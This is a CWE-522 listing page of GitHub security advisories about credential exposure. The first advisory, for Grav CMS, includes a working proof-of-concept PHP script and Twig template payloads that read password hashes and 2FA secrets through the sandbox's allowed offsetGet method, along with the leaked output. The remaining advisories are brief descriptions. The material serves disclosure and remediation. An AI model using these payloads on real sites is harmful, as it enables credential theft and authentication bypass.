CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
2019 vulnerabilities reference this CWE, most recent first.
GHSA-3JHR-MXMX-38CX
Vulnerability from github – Published: 2026-09-17 20:27 – Updated: 2026-09-17 20:27Summary
system/config/security.yaml's Twig sandbox policy allow-lists offsetget and
offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete
Grav\Common\User\DataUser\User class does not filter which fields offsetGet()
returns, so any sandboxed template with access to a User object can read
hashed_password, secret (2FA seed), and twofa_secret directly, bypassing the
redaction Grav's own code applies everywhere else.
The core evidence, from Grav's own code
system/src/Grav/Common/User/DataUser/User.php:
/**
* {@inheritdoc}
* Override to filter out sensitive fields like password hashes
*/
public function jsonSerialize(): array
{
$items = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend
unset($items['hashed_password']);
unset($items['secret']); // 2FA secret
unset($items['twofa_secret']); // Alternative 2FA field name
return $items;
}
public function offsetGet($offset)
{
$value = parent::offsetGet($offset);
// only special-cases 'authorized', nothing else -- no redaction
return $value;
}
system/config/security.yaml:
- class: 'Grav\Common\User\Interfaces\UserInterface'
methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'
This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.
Live, end-to-end verification
Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension,
policed by Grav's own GravSecurityPolicy class, constructed directly from values
parsed out of the actual system/config/security.yaml (via
Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real
template strings against a real User object.
Environment setup:
git clone https://github.com/getgrav/grav.git
cd grav
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
live_sandbox_render_test.php:
<?php
require 'vendor/autoload.php';
use Symfony\Component\Yaml\Yaml;
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Grav\Common\Twig\Sandbox\GravSecurityPolicy;
use Grav\Common\User\DataUser\User;
$securityYaml = Yaml::parseFile('system/config/security.yaml');
$sandboxCfg = $securityYaml['twig_sandbox'];
function rowsToMap(array $rows): array {
$out = [];
foreach ($rows as $row) {
$out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods'])));
}
return $out;
}
$policy = new GravSecurityPolicy(
$sandboxCfg['allowed_tags'],
$sandboxCfg['allowed_filters'],
rowsToMap($sandboxCfg['allowed_methods']),
rowsToMap($sandboxCfg['allowed_properties']),
$sandboxCfg['allowed_functions']
);
$sandbox = new SandboxExtension($policy, true);
$user = new User([
'username' => 'admin',
'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',
'secret' => 'JBSWY3DPEHPK3PXP',
'twofa_secret' => 'ALT2FASECRETVALUE9999',
]);
function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {
$twig = new Environment(new ArrayLoader(['@Page:test' => $template]));
$twig->addExtension($sandbox);
try {
echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n";
} catch (\Twig\Sandbox\SecurityError $e) {
echo "$label => BLOCKED: " . $e->getMessage() . "\n";
}
}
tryRender('hashed_password via offsetGet()', "{{ user.offsetGet('hashed_password') }}", $sandbox, $user);
tryRender('secret via offsetGet()', "{{ user.offsetGet('secret') }}", $sandbox, $user);
tryRender('twofa_secret via offsetGet()', "{{ user.offsetGet('twofa_secret') }}", $sandbox, $user);
tryRender('twofa_secret via subscript', "{{ user['twofa_secret'] }}", $sandbox, $user);
tryRender('control: user.set() (unlisted)', "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);
Run: php live_sandbox_render_test.php
Output:
hashed_password via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX
secret via offsetGet() => JBSWY3DPEHPK3PXP
twofa_secret via offsetGet() => ALT2FASECRETVALUE9999
twofa_secret via subscript => BLOCKED: Calling "twofa_secret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
The control payload (a real, non-allow-listed User method) is correctly blocked,
and the target field was confirmed unchanged afterward -- confirming the sandbox is
genuinely active and the three leaks above are real, not an artifact of a failed
sandbox.
Precise nuance for the fix
Twig routes user.offsetGet('x') (explicit method call) and user['x'] (subscript
sugar on a non-built-in ArrayAccess object) through two different sandbox checks --
checkMethodAllowed against allowed_methods, versus checkPropertyAllowed against
allowed_properties. The subscript form is already correctly blocked, since
UserInterface has no allowed_properties entry. Only the explicit .offsetGet()/
.offsetExists() method-call form leaks, because those methods are present in
allowed_methods.
Scope, stated honestly
I could not find where Grav core itself binds a user variable into the sandboxed
Twig page-content context -- Twig::processPage()'s $twig_vars has no 'user' key,
and the Login plugin (the near-universal companion plugin that would populate
"current logged-in user") is not part of this repository. I cannot independently
confirm from this codebase alone whether that binding is always the current session
user (self-disclosure only) or could resolve to an arbitrary other user (site-wide
credential/2FA-secret disclosure). What is independently confirmed entirely from this
repository: the security.yaml sandbox policy is Grav core's own security contract,
and it allow-lists a method proven unsafe by Grav's own code, regardless of which
plugin exercises it.
Impact
Any sandboxed Twig context where a UserInterface object is reachable (the standard,
documented pattern for exposing "current user" to editor-authored content) allows
extraction of that user's password hash (enabling offline cracking) and 2FA secret
(enabling full authentication bypass by generating valid TOTP codes without possessing
the user's device), by any user with page-edit permission.
Suggested fix
Trimming the UserInterface entry alone is insufficient: User extends Data, and the
separate generic allowlist entry for Grav\Common\Data\Data (get, value, items,
offsetget, offsetexists) independently grants the same access via instanceof
matching, through three methods (get, value, offsetGet), not just one. I verified
this by simulating the UserInterface-only fix and confirming all three still leak
hashed_password and secret/twofa_secret.
The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9: introduce a redacting facade for User (analogous to SandboxConfig) that filters hashed_password/secret/twofa_secret on every read path, and allow-list that facade in place of the raw User/Data class -- rather than trying to enumerate safe methods on a class whose parent class is independently allow-listed elsewhere in the same policy. A narrower alternative: override User::get()/value()/offsetGet() to apply the same redaction jsonSerialize() already does, so the fields simply don't exist to leak regardless of which accessor method reaches them.
Affected component
system/config/security.yaml,twig_sandbox.allowed_methodsentry forGrav\Common\User\Interfaces\UserInterfacesystem/src/Grav/Common/User/DataUser/User.php,offsetGet()(behaves correctly given the sandbox's input; the gap is in what the sandbox allows through)
**Ecosystem:** `Composer`
**Package name:** `getgrav/grav`
**Affected versions:** current `2.0.15` dev tree (bounded by whenever `UserInterface` was first added to `allowed_methods` in `security.yaml` — worth checking `git log -p` on that file if you want an exact lower bound before submitting)
**Patched versions:** leave blank
**Severity / CVSS v3.1 vector string:**
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N ``` Resolves to 7.7 / High. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the "arbitrary other user" reachability, this should be rescored toward Critical given the 2FA-bypass implication.
CWE: CWE-522 (Insufficiently Protected Credentials), add CWE-284 (Improper Access Control)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.15"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-76839"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:27:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`system/config/security.yaml`\u0027s Twig sandbox policy allow-lists `offsetget` and\n`offsetexists` for `Grav\\Common\\User\\Interfaces\\UserInterface`. The concrete\n`Grav\\Common\\User\\DataUser\\User` class does not filter which fields `offsetGet()`\nreturns, so any sandboxed template with access to a `User` object can read\n`hashed_password`, `secret` (2FA seed), and `twofa_secret` directly, bypassing the\nredaction Grav\u0027s own code applies everywhere else.\n\n## The core evidence, from Grav\u0027s own code\n\n`system/src/Grav/Common/User/DataUser/User.php`:\n\n```php\n/**\n * {@inheritdoc}\n * Override to filter out sensitive fields like password hashes\n */\npublic function jsonSerialize(): array\n{\n $items = parent::jsonSerialize();\n\n // Security: Remove sensitive fields that should never be exposed to frontend\n unset($items[\u0027hashed_password\u0027]);\n unset($items[\u0027secret\u0027]); // 2FA secret\n unset($items[\u0027twofa_secret\u0027]); // Alternative 2FA field name\n\n return $items;\n}\n\npublic function offsetGet($offset)\n{\n $value = parent::offsetGet($offset);\n // only special-cases \u0027authorized\u0027, nothing else -- no redaction\n return $value;\n}\n```\n\n`system/config/security.yaml`:\n\n```yaml\n- class: \u0027Grav\\Common\\User\\Interfaces\\UserInterface\u0027\n methods: \u0027authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists\u0027\n```\n\nThis is the same vulnerability shape as two already-fixed issues in this file\n(GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access\npath bypassing an intended redaction) recurring on a third class neither fix covered.\n\n## Live, end-to-end verification\n\nBuilt a real `Twig\\Environment` wired with the real `Twig\\Extension\\SandboxExtension`,\npoliced by Grav\u0027s own `GravSecurityPolicy` class, constructed directly from values\nparsed out of the actual `system/config/security.yaml` (via\n`Symfony\\Component\\Yaml\\Yaml::parseFile`, not a hand-copied excerpt), rendering real\ntemplate strings against a real `User` object.\n\nEnvironment setup:\n\n```bash\ngit clone https://github.com/getgrav/grav.git\ncd grav\napt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd\ncurl -sL -o /tmp/composer.phar \\\n \"https://github.com/composer/composer/releases/latest/download/composer.phar\"\nCOMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction\n```\n\n`live_sandbox_render_test.php`:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse Symfony\\Component\\Yaml\\Yaml;\nuse Twig\\Environment;\nuse Twig\\Loader\\ArrayLoader;\nuse Twig\\Extension\\SandboxExtension;\nuse Grav\\Common\\Twig\\Sandbox\\GravSecurityPolicy;\nuse Grav\\Common\\User\\DataUser\\User;\n\n$securityYaml = Yaml::parseFile(\u0027system/config/security.yaml\u0027);\n$sandboxCfg = $securityYaml[\u0027twig_sandbox\u0027];\n\nfunction rowsToMap(array $rows): array {\n $out = [];\n foreach ($rows as $row) {\n $out[$row[\u0027class\u0027]] = array_map(\u0027strtolower\u0027, array_map(\u0027trim\u0027, explode(\u0027,\u0027, $row[\u0027methods\u0027])));\n }\n return $out;\n}\n\n$policy = new GravSecurityPolicy(\n $sandboxCfg[\u0027allowed_tags\u0027],\n $sandboxCfg[\u0027allowed_filters\u0027],\n rowsToMap($sandboxCfg[\u0027allowed_methods\u0027]),\n rowsToMap($sandboxCfg[\u0027allowed_properties\u0027]),\n $sandboxCfg[\u0027allowed_functions\u0027]\n);\n$sandbox = new SandboxExtension($policy, true);\n\n$user = new User([\n \u0027username\u0027 =\u003e \u0027admin\u0027,\n \u0027hashed_password\u0027 =\u003e \u0027$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX\u0027,\n \u0027secret\u0027 =\u003e \u0027JBSWY3DPEHPK3PXP\u0027,\n \u0027twofa_secret\u0027 =\u003e \u0027ALT2FASECRETVALUE9999\u0027,\n]);\n\nfunction tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {\n $twig = new Environment(new ArrayLoader([\u0027@Page:test\u0027 =\u003e $template]));\n $twig-\u003eaddExtension($sandbox);\n try {\n echo \"$label =\u003e \" . $twig-\u003erender(\u0027@Page:test\u0027, [\u0027user\u0027 =\u003e $user]) . \"\\n\";\n } catch (\\Twig\\Sandbox\\SecurityError $e) {\n echo \"$label =\u003e BLOCKED: \" . $e-\u003egetMessage() . \"\\n\";\n }\n}\n\ntryRender(\u0027hashed_password via offsetGet()\u0027, \"{{ user.offsetGet(\u0027hashed_password\u0027) }}\", $sandbox, $user);\ntryRender(\u0027secret via offsetGet()\u0027, \"{{ user.offsetGet(\u0027secret\u0027) }}\", $sandbox, $user);\ntryRender(\u0027twofa_secret via offsetGet()\u0027, \"{{ user.offsetGet(\u0027twofa_secret\u0027) }}\", $sandbox, $user);\ntryRender(\u0027twofa_secret via subscript\u0027, \"{{ user[\u0027twofa_secret\u0027] }}\", $sandbox, $user);\ntryRender(\u0027control: user.set() (unlisted)\u0027, \"{{ user.set(\u0027email\u0027, \u0027pwned@evil.com\u0027) }}\", $sandbox, $user);\n```\n\nRun: `php live_sandbox_render_test.php`\n\nOutput:\n\n```\nhashed_password via offsetGet() =\u003e $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX\nsecret via offsetGet() =\u003e JBSWY3DPEHPK3PXP\ntwofa_secret via offsetGet() =\u003e ALT2FASECRETVALUE9999\ntwofa_secret via subscript =\u003e BLOCKED: Calling \"twofa_secret\" property on a \"Grav\\Common\\User\\DataUser\\User\" object is not allowed in \"@Page:test\" at line 1.\ncontrol: user.set() (unlisted) =\u003e BLOCKED: Calling \"set\" method on a \"Grav\\Common\\User\\DataUser\\User\" object is not allowed in \"@Page:test\" at line 1.\n```\n\nThe control payload (a real, non-allow-listed `User` method) is correctly blocked,\nand the target field was confirmed unchanged afterward -- confirming the sandbox is\ngenuinely active and the three leaks above are real, not an artifact of a failed\nsandbox.\n\n## Precise nuance for the fix\n\nTwig routes `user.offsetGet(\u0027x\u0027)` (explicit method call) and `user[\u0027x\u0027]` (subscript\nsugar on a non-built-in `ArrayAccess` object) through two different sandbox checks --\n`checkMethodAllowed` against `allowed_methods`, versus `checkPropertyAllowed` against\n`allowed_properties`. The subscript form is already correctly blocked, since\n`UserInterface` has no `allowed_properties` entry. Only the explicit `.offsetGet()`/\n`.offsetExists()` method-call form leaks, because those methods are present in\n`allowed_methods`.\n\n## Scope, stated honestly\n\nI could not find where Grav core itself binds a `user` variable into the sandboxed\nTwig page-content context -- `Twig::processPage()`\u0027s `$twig_vars` has no `\u0027user\u0027` key,\nand the Login plugin (the near-universal companion plugin that would populate\n\"current logged-in user\") is not part of this repository. I cannot independently\nconfirm from this codebase alone whether that binding is always the current session\nuser (self-disclosure only) or could resolve to an arbitrary other user (site-wide\ncredential/2FA-secret disclosure). What is independently confirmed entirely from this\nrepository: the `security.yaml` sandbox policy is Grav core\u0027s own security contract,\nand it allow-lists a method proven unsafe by Grav\u0027s own code, regardless of which\nplugin exercises it.\n\n## Impact\n\nAny sandboxed Twig context where a `UserInterface` object is reachable (the standard,\ndocumented pattern for exposing \"current user\" to editor-authored content) allows\nextraction of that user\u0027s password hash (enabling offline cracking) and 2FA secret\n(enabling full authentication bypass by generating valid TOTP codes without possessing\nthe user\u0027s device), by any user with page-edit permission.\n\n## Suggested fix \n\nTrimming the `UserInterface` entry alone is insufficient: `User extends Data`, and the\nseparate generic allowlist entry for `Grav\\Common\\Data\\Data` (`get, value, items,\noffsetget, offsetexists`) independently grants the same access via `instanceof`\nmatching, through three methods (`get`, `value`, `offsetGet`), not just one. I verified\nthis by simulating the UserInterface-only fix and confirming all three still leak\n`hashed_password` and `secret`/`twofa_secret`.\n\nThe robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9:\nintroduce a redacting facade for User (analogous to SandboxConfig) that filters\nhashed_password/secret/twofa_secret on every read path, and allow-list that facade in\nplace of the raw User/Data class -- rather than trying to enumerate safe methods on a\nclass whose parent class is independently allow-listed elsewhere in the same policy.\nA narrower alternative: override User::get()/value()/offsetGet() to apply the same\nredaction jsonSerialize() already does, so the fields simply don\u0027t exist to leak\nregardless of which accessor method reaches them.\n\n## Affected component\n\n- `system/config/security.yaml`, `twig_sandbox.allowed_methods` entry for\n `Grav\\Common\\User\\Interfaces\\UserInterface`\n- `system/src/Grav/Common/User/DataUser/User.php`, `offsetGet()` (behaves correctly\n given the sandbox\u0027s input; the gap is in what the sandbox allows through)\n```\n\n**Ecosystem:** `Composer`\n**Package name:** `getgrav/grav`\n**Affected versions:** current `2.0.15` dev tree (bounded by whenever `UserInterface` was first added to `allowed_methods` in `security.yaml` \u2014 worth checking `git log -p` on that file if you want an exact lower bound before submitting)\n**Patched versions:** leave blank\n\n**Severity / CVSS v3.1 vector string:**\n```\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n```\nResolves to **7.7 / High**. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the \"arbitrary other user\" reachability, this should be rescored toward Critical given the 2FA-bypass implication.\n\n**CWE:** `CWE-522` (Insufficiently Protected Credentials), add `CWE-284` (Improper Access Control)",
"id": "GHSA-3jhr-mxmx-38cx",
"modified": "2026-09-17T20:27:30Z",
"published": "2026-09-17T20:27:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76839"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-offsetget"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()"
}
GHSA-3M3J-3MX3-JMXC
Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2025-01-14 12:31Affected devices store the CLI user passwords encrypted in flash memory. Attackers with physical access to the device could retrieve the file and decrypt the CLI user passwords.
{
"affected": [],
"aliases": [
"CVE-2022-46142"
],
"database_specific": {
"cwe_ids": [
"CWE-257",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T16:15:00Z",
"severity": "MODERATE"
},
"details": "Affected devices store the CLI user passwords encrypted in flash memory. Attackers with physical access to the device could retrieve the file and decrypt the CLI user passwords.",
"id": "GHSA-3m3j-3mx3-jmxc",
"modified": "2025-01-14T12:31:47Z",
"published": "2022-12-13T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46142"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-413565.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-413565.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3MF8-7QV9-PQPH
Vulnerability from github – Published: 2023-01-31 00:30 – Updated: 2023-02-07 21:30A CWE-522: Insufficiently Protected Credentials vulnerability exists that could result in unwanted access to a DCE instance when performed over a network by a malicious third-party. This CVE is unique from CVE-2022-32518. Affected Products: Data Center Expert (Versions prior to V7.9.0)
{
"affected": [],
"aliases": [
"CVE-2022-32520"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-30T23:15:00Z",
"severity": "CRITICAL"
},
"details": "A CWE-522: Insufficiently Protected Credentials vulnerability exists that could result in unwanted access to a DCE instance when performed over a network by a malicious third-party. This CVE is unique from CVE-2022-32518. Affected Products: Data Center Expert (Versions prior to V7.9.0)",
"id": "GHSA-3mf8-7qv9-pqph",
"modified": "2023-02-07T21:30:24Z",
"published": "2023-01-31T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32520"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2022-165-04_+Data_Center_Expert_Security_Notification.pdf\u0026p_Doc_Ref=SEVD-2022-165-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3MQ9-XHGQ-R7GJ
Vulnerability from github – Published: 2026-02-04 20:46 – Updated: 2026-02-04 20:46Impact
On boot, the Pillar container checks for /config/authorized_keys. If present with a valid public key, it enables SSH on port 22 with root login. The /config partition is not protected by measured boot, is mutable and unencrypted.
This enables an attacker with physical access to the device to take out the disk, modify the /config partition using a separate server, then insert it, without the inserted key being flagged as an integrity voilation my measured boot and remote attestation.
Patches
Patched in 9.4.3-lts
Workarounds
None (apart from preventing physical access to the device)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lf-edge/eve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20220708121648-5fef4d92e758"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-43631"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-922"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-04T20:46:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nOn boot, the Pillar container checks for /config/authorized_keys. If present with a valid public key, it enables SSH on port 22 with root login. The /config partition is not protected by measured boot, is mutable and unencrypted.\n\nThis enables an attacker with physical access to the device to take out the disk, modify the /config partition using a separate server, then insert it, without the inserted key being flagged as an integrity voilation my measured boot and remote attestation.\n\n### Patches\n\nPatched in 9.4.3-lts\n\n### Workarounds\n\nNone (apart from preventing physical access to the device)",
"id": "GHSA-3mq9-xhgq-r7gj",
"modified": "2026-02-04T20:46:16Z",
"published": "2026-02-04T20:46:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lf-edge/eve/security/advisories/GHSA-3mq9-xhgq-r7gj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43631"
},
{
"type": "WEB",
"url": "https://github.com/lf-edge/eve/commit/5fef4d92e75838cc78010edaed5247dfbdae1889"
},
{
"type": "WEB",
"url": "https://github.com/lf-edge/eve/commit/aa3501d6c57206ced222c33aea15a9169d629141"
},
{
"type": "WEB",
"url": "https://asrg.io/security-advisories/cve-2023-43631"
},
{
"type": "WEB",
"url": "https://asrg.io/security-advisories/ssh-as-root-unlockable-without-triggering-measured-boot"
},
{
"type": "PACKAGE",
"url": "https://github.com/lf-edge/eve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "EVE: SSH as Root Unlockable Without Triggering Measured Boot"
}
GHSA-3MQC-6CQG-J6MM
Vulnerability from github – Published: 2022-05-17 00:01 – Updated: 2022-05-27 00:01Konica Minolta bizhub MFP devices before 2022-04-14 have an internal Chromium browser that executes with root (aka superuser) access privileges.
{
"affected": [],
"aliases": [
"CVE-2022-29587"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-16T06:15:00Z",
"severity": "MODERATE"
},
"details": "Konica Minolta bizhub MFP devices before 2022-04-14 have an internal Chromium browser that executes with root (aka superuser) access privileges.",
"id": "GHSA-3mqc-6cqg-j6mm",
"modified": "2022-05-27T00:01:04Z",
"published": "2022-05-17T00:01:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29587"
},
{
"type": "WEB",
"url": "https://sec-consult.com/vulnerability-lab"
},
{
"type": "WEB",
"url": "https://sec-consult.com/vulnerability-lab/advisory/sandbox-escape-with-root-access-clear-text-passwords-in-konica-minolta-bizhub-mfp-printer-terminals"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3MXM-3QX9-6GQ2
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-10-22 12:00A flaw was found in Red Hat Quay, where it does not properly protect the authorization token when authorizing email addresses for repository email notifications. This flaw allows an attacker to add email addresses they do not own to repository notifications.
{
"affected": [],
"aliases": [
"CVE-2020-27831"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-27T00:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Red Hat Quay, where it does not properly protect the authorization token when authorizing email addresses for repository email notifications. This flaw allows an attacker to add email addresses they do not own to repository notifications.",
"id": "GHSA-3mxm-3qx9-6gq2",
"modified": "2022-10-22T12:00:29Z",
"published": "2022-05-24T19:03:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27831"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1905758"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3P33-32V8-FG8J
Vulnerability from github – Published: 2026-09-14 15:32 – Updated: 2026-09-14 21:31Description
getNimbusConf returned the complete daemon configuration without redaction after only a user-level
authorization check. Where the cluster is configured with them, that response includes
storm.zookeeper.auth.payload and the keystore and truststore passwords for the Thrift, Netty and
ZooKeeper TLS configuration. The project masks passwords elsewhere before display, so the omission here is
inconsistent rather than intended.
The UI endpoint /api/v1/cluster/configuration compounded this. It carried no @AuthNimbusOp annotation,
and the authorization filter treated a missing annotation as "no gate required" and returned immediately, so
the endpoint applied no per-user check at all and proxied the request under the UI daemon's own principal.
Any user able to pass ui.filter therefore received the full configuration, including principals that
Nimbus itself would have refused.
Mitigation
Upgrade to 3.1.0, where credential-bearing values are masked before the configuration is served and where every UI API endpoint must declare its authorization explicitly.
Users who cannot upgrade immediately should place the UI behind an authenticating reverse proxy that
restricts /api/v1/cluster/configuration, and should rotate the ZooKeeper authentication payload and any
TLS keystore or truststore passwords that were reachable through it.
Credit
The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.
{
"affected": [],
"aliases": [
"CVE-2026-82433"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T15:17:10Z",
"severity": "MODERATE"
},
"details": "Description\n\n`getNimbusConf` returned the complete daemon configuration without redaction after only a user-level\nauthorization check. Where the cluster is configured with them, that response includes\n`storm.zookeeper.auth.payload` and the keystore and truststore passwords for the Thrift, Netty and\nZooKeeper TLS configuration. The project masks passwords elsewhere before display, so the omission here is\ninconsistent rather than intended.\n\nThe UI endpoint `/api/v1/cluster/configuration` compounded this. It carried no `@AuthNimbusOp` annotation,\nand the authorization filter treated a missing annotation as \"no gate required\" and returned immediately, so\nthe endpoint applied no per-user check at all and proxied the request under the UI daemon\u0027s own principal.\nAny user able to pass `ui.filter` therefore received the full configuration, including principals that\nNimbus itself would have refused.\u00a0\n\nMitigation\n\nUpgrade to 3.1.0, where credential-bearing values are masked before the configuration is served and where\nevery UI API endpoint must declare its authorization explicitly.\n\nUsers who cannot upgrade immediately should place the UI behind an authenticating reverse proxy that\nrestricts `/api/v1/cluster/configuration`, and should rotate the ZooKeeper authentication payload and any\nTLS keystore or truststore passwords that were reachable through it.\n\nCredit\n\nThe ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.",
"id": "GHSA-3p33-32v8-fg8j",
"modified": "2026-09-14T21:31:40Z",
"published": "2026-09-14T15:32:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82433"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/ohw4s30rhm2r20498c0zbqxyy7xd5hxl"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/13/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3P4X-GRPM-XW58
